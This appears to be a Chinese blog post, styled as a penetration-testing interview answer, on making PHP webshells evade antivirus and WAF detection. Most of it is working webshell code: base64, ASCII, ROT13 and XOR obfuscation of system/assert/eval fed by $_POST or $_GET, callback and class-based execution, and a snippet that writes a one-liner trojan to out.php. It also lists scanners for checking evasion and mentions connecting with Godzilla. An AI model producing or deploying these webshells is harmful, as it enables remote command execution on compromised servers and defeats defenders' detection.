当前位置: 首页 > news >正文

2025年常见渗透测试面试题-webshell免杀思路(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

webshell免杀思路

PHP免杀原理

webshell免杀测试:

webshell免杀绕过方法:

编码绕过:

可变变量绕过

数组绕过

类绕过

多姿势配合免杀

webshell免杀思路

分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。
动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。

PHP免杀原理

通过PHP语言的动态特性,灵活利用各种PHP函数和特性,混淆和变形中间两部分内容,从而达到免杀

注意点:
eval() 高危函数
eval() 不能作为函数名动态执行代码,官方说明如下:eval 是一个语言构造器而不是一个函数,不能被可变函数调用

可变函数:通过一个变量获取其对应的变量值,然后通过给该值增加一个括号 (),让系统认为该值是一个函数,从而当做函数来执行

人话:eval() 函数不能通过拼接、混淆来进行执行,只能通过明文直接写入

assert() 高危函数
在PHP7 中, assert () 也不再是函数了,变成了一个语言结构(类似于 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点,这个感兴趣可以自行了解即可

所以在WebShell免杀这块,我还是更喜欢用  system() 高危函数,以下很多案例都是使用  system() 来最终执行的

webshell免杀测试:

渊龙Sec团队导航(上面啥都有): https://dh.aabyss.cn/
VirusTotal: https://www.virustotal.com/gui/home/upload
河马WebShell查杀: https://n.shellpub.com/
微步在线云沙箱: https://s.threatbook.com/
百度WEBDIR+: https://scanner.baidu.com/
长亭牧云查杀: https://stack.chaitin.com/security-challenge/webshell/index
阿里伏魔引擎: https://xz.aliyun.com/zues
D盾: http://www.d99net.net/
网站安全狗: http://free.safedog.cn/website_safedog.html

webshell免杀绕过方法:

编码绕过:

(可以绕过waf检测、早期免杀方法)
    可以考虑一些比较冷门的编码方式,或者写一个类似于凯撒密码的加密函数,来对WAF进行ByPass
 Base64编码  

  <?php
        $f = base64_decode("YX____Nz__ZX__J0");  //解密后为assert高危函数
        $f($_POST[aabyss]);                      //assert($_POST[aabyss]);
        ?>

 ASCII编码

   <?php
        //ASCII编码解密后为assert高危函数
        $f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
        $f($_POST['aabyss']);                //assert($_POST['aabyss']);
        ?>

 ROT13编码

   $f = str_rot13('flfgrz');  //解密后为system高危函数
        $f($_POST['aabyss']);      //system($_POST['aabyss']);

    Gzip压缩加密(畸形免杀)
        https://blog.zgsec.cn/index.php/archives/147/
字符串混淆处理绕过:
    将system高危函数内容的拼接、混淆以及变换,来绕过waf检测  

 function confusion($a){
        $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
        $tmp = "";
        while ($a>10) {
            $tmp .= $s[$a%10];
            $a = $a/10;
        }
        return $tmp.$s[$a];
        }
        $f = confusion(976534);         //sysTem(高危函数)
        $f($_POST['aabyss']);           //sysTem($_POST['aabyss']);

自定义函数+文件名混淆
        先建一个PHP名字为 976534.php,然后下面的代码:  

  function confusion($a){
        $s = ['a','t','s', 'y', 'm', 'e', '/'];
        $tmp = "";
        while ($a>10) {
            $tmp .= $s[$a%10];
            $a = $a/10;
        }
        return $tmp.$s[$a];
        }

        $f = confusion(intval(substr(__FILE__, -10, 6)));   //sysTem(高危函数)
        //__FILE__为976534.php
        //substr(__FILE__, -10, 6)即从文件名中提取出976534
        //confusion(intval(976534))即输出了sysTem(高危函数),拼接即可
        $f($_POST['aabyss']);        //sysTem($_POST['aabyss']);

      首先先读取文件名,从 976534.php 文件名中提取出 976534 ,然后带入函数中就成功返还 sysTem 高危函数了,可以配合其他姿势一起使用,达成免杀效果
    特殊字符串
        主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等)

  $f = 'hello';
        $$z = $_POST['aabyss'];
        eval(``.$hello);

生成新文件绕过
    PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的   

$hahaha = strtr("abatme","me","em");      //$hahaha = abatem
    $wahaha = strtr($hahaha,"ab","sy");       //$wahaha = system(高危函数)
    $gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");
    //$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'
    $wahaha($gogogo);  //将一句话木马内容写入同目录下的out.php中

回调函数绕过
    通过回调函数,来执行对应的命令

    call_user_func_array()
        //ASCII编码解密后为assert高危函数
        $f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
        call_user_func_array($f, array($_POST['aabyss']));
    array_map()
        function fun() {
        //ASCII编码解密后为assert高危函数
        $f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
        return ''.$f;
        }
        $user = fun();    //拿到assert高危函数
        $pass =array($_POST['aabyss']);
        array_map($user,$user = $pass );

回调函数的免杀早早就被WAF盯上了,像这样单独使用一般都没办法免杀,所以一般都是配合其他手法使用

可变变量绕过

    简单可变变量
        什么叫可变变量呢?看一下具体例子就明白了: 

  $f = 'hello';    //变量名为f,变量值为Hello
        $$f = 'AabyssZG';  //变量名为Hello(也就是$f的值),值为AabyssZG
        echo $hello;     //输出AabyssZG

那要怎么利用这个特性呢?如下:

        $f ='hello';
        $$f = $_POST['aabyss'];
        eval($hello);   //eval($_POST['aabyss']);

数组+变量引用混淆
        上文提到,可以通过 compact 创建一个包含变量名和它们的值的数组

        那就可以用 compact 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可

        $z = "system";                        //配合其他姿势,将system高危函数传给z
        $zhixin  = &$z;
        $event = 'hahaha';

        $result = compact("event", "zhixin"); //通过compact创建数组
        $z = 'wahaha';                        //我将变量z进行修改为'wahaha'

        $f = $result['zhixin'];
        $f($_POST['aabyss']);                  //system($_POST['aabyss']);

根据简单可变变量学到的内容,可以发现传入数组后,函数内容被替换是不会影响数组中的内容的

        于是先用变量 zhixin 来引用变量 z 然后通过 compact 创建为数组,接下来再将变量 z 附上新的内容 wahaha ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 system 而是 wahaha ,从而达到WebShell免杀

数组绕过

先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接
    一维数组

        $f = substr_replace("systxx","em",4);         //system(高危函数)
        $z = array($array = array('a'=>$f($_GET['aabyss'])));
        var_dump($z);

数组内容如下:  

Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )

二维数组

        $f = substr_replace("systxx","em",4);          //system(高危函数)
        $z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss'])))));
        var_dump($z);

类绕过

通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行
    单类

    class Test
        {
            public $_1='';
            function __destruct(){
                system("$this->a");
            }
        }
        $_2 = new Test;
        $_2->$_1 = $_POST['aabyss'];

多类

        class Test1
        {
            public $b ='';
            function post(){
                return $_POST['aabyss'];
            }
        }
        class Test2 extends Test1
        {
            public $code = null;
            function __construct(){
                $code = parent::post();
                system($code);
            }
        }
        $fff = new Test2;
        $zzz = new Test1;

嵌套运算绕过
主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 system ,然后动态执行恶意代码之即可
    异或
    嵌套运算

传参绕过
将恶意代码不写入文件,而是通过传参传入,所以这个比较难以被常规WAF所识别
    Base64传参
      

  $decrpt = $_REQUEST['a'];
        $decrps = $_REQUEST['b'];
        $arrs = explode("|", $decrpt)[1];
        $arrs = explode("|", base64_decode($arrs));
        $arrt = explode("|", $decrps)[1];
        $arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);

传参内容:

   

a=c3lzdGVt    //system的base64加密
b=d2hvYW1p    //whoami的base64加密

也可以尝试使用其他编码或者加密方式进行传参
    函数构造传参
        可以用一些定义函数的函数来进行传参绕过,比如使用 register_tick_function() 这个函数

        register_tick_function ( callable $function [, mixed $... ] ) : bool
        例子如下:

        $f = $_REQUEST['f'];
        declare(ticks=1);
        register_tick_function ($f, $_REQUEST['aabyss']);

自定义函数绕过
通过自定义函数,将恶意代码内容隐藏于自定义函数当中,再进行拼接执行
    简单自定义函数
    读取已定义函数
读取字符串绕过
重点还是放在高危函数上,通过读取各种东西来获得对应字符串
    读取注释
        这里用到读取注释的函数

        ReflectionClass::getDocComment
        例子如下:

       

     /**   
            * system($_GET[aabyss]);
            */  
        class User { }  
        $user = new ReflectionClass('User');
        $comment = $user->getDocComment();
        $f = substr($comment , 14 , 22);
        eval($f);

读取数据库
        可以通过 file_put_contents 文件写入函数写入一个Sqlite的数据库

        $datatest = "[文件的base64编码]";
        file_put_contents('./要写入的文件名', base64_decode($datatest));
        然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果

读取目录
        FilesystemIterator 是一个迭代器,可以获取到目标目录下的所有文件信息

        public FilesystemIterator::next ( void ) : void
        可以尝试使用 file_put_contents 写入一个名为 system.aabyss 的空文件,然后遍历目录拿到字符串 system ,成功ByPass
        为什么要写入为 system.aabyss 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了

多姿势配合免杀

    刚开始看这个样例我还是挺惊讶的,仔细分析了一波,发现还是挺简单的,但重在思路

    这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义

    <?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
    这时候,就可以执行GET传参:?_=system&__=whoami 来执行whoami命令

    由8.1讲到PHP中如何异或,我们就先把最前面这部分拆出来看看

    <?=~$_='$<>/'^'{{{{';
    //即 '$<>/' ^ '{{{{'
    //即 "$<>/" 这部分字符串与后面 "{{{{" 这部分字符串异或
    所以由我们前面所学的知识,加上自己动手实践一下,可以发现异或结果为 _GET

    所以整个PHP语句解密后,再将 _ 替换为 a,将 __ 替换为 b,则原PHP转化为:

    $_GET['a']($_GET['b'])
    当我们给 a 传 system,给 b 传 whoami,原式就会变成这样

    system('whoami');
    既然上面的代码你看懂了,那不妨看一下下面魔改的代码:

    <?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
    直接用 Godzilla 哥斯拉来连接
        XXX/run.php?_=assert
    当然这里使用到 assert 高危函数,只能用于 php 在 5.* 的版本,相关姿势读者不妨自行拓展一下哈哈~

相关文章:

  • 抓包神器,自研EtherCAT抓包工具
  • Next.js/Nuxt.js 服务端渲染优化
  • 1.1 初识AI
  • C语言进阶之字符函数和字符串函数
  • AcWing 5972. 科学记数法
  • 【游戏安全】强制交互类风险
  • Magnet 库的技术架构与核心机制解析
  • Docker部署SpringBoot项目(完整版)
  • 重载“<<”操作符
  • 基于多通道降压稳压器的机器人关节供电系统设计
  • 人工智能day03
  • 设计模式总章
  • UE5 添加随机弹道
  • 【linux知识】web服务环境搭建(一):用户以及开发环境初始化
  • 有一个服务器能做什么?
  • 程序化广告行业(82/89):解锁行业术语,开启专业交流之门
  • 格瑞普Tattu正式成为2025年中国无人机竞速联赛官方赞助商!
  • 【家政平台开发(42)】筑牢家政平台安全防线:安全测试与漏洞修复指南
  • 【ROS】分布式通信架构
  • 文件包含(CTFshow 刷题记录)持续更新
  • 腾讯一季度营收增长13%,马化腾:战略性的AI投入将带来长期回报
  • 横跨万里穿越百年,《受到召唤·敦煌》中张艺兴一人分饰两角
  • 威尼斯建筑双年展总策划:山的另一边有什么在等着我们
  • 《新时代的中国国家安全》白皮书(全文)
  • 言短意长|西湖大学首次“走出西湖”
  • 让胖东来“自闭”的玉石生意,究竟水有多深?